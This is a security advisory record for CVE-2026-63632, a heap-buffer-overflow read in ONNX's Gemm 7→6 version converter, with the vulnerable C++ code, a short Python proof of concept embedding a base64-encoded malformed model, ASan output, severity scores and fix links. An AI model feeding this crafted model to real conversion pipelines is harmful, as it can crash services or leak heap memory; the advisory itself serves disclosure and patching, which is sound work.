{"id":"CVE-2026-63632","aliases":["GHSA-p893-rvq9-2xf9","PYSEC-2026-3587"],"url":"https://o3.security/vulnerability/CVE-2026-63632","summary":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","details":"### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7→6 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto& A_shape = inputs[0]->sizes();  // May have < 2 elements\nconst auto& B_shape = inputs[1]->sizes();  // May have < 2 elements\n\nif (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has < 2 dims ← CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.","published":"2026-08-18T14:55:15.923Z","modified":"2026-10-21T10:38:01.144975109Z","cvss":{"score":3.3,"severity":"LOW","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"},"epss":{"score":0.00163,"percentile":0.05936,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"onnx","fixedVersion":"1.22.0"}],"fix":{"url":"https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66","label":"onnx/onnx@e9c74f5"},"references":[{"type":"WEB","url":"https://github.com/onnx/onnx/releases/tag/v1.22.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63632.json"},{"type":"ADVISORY","url":"https://github.com/onnx/onnx/security/advisories/GHSA-p893-rvq9-2xf9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63632"},{"type":"FIX","url":"https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66"},{"type":"FIX","url":"https://github.com/onnx/onnx/pull/7880"},{"type":"PACKAGE","url":"https://github.com/onnx/onnx"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T10:38:01.144975109Z"}}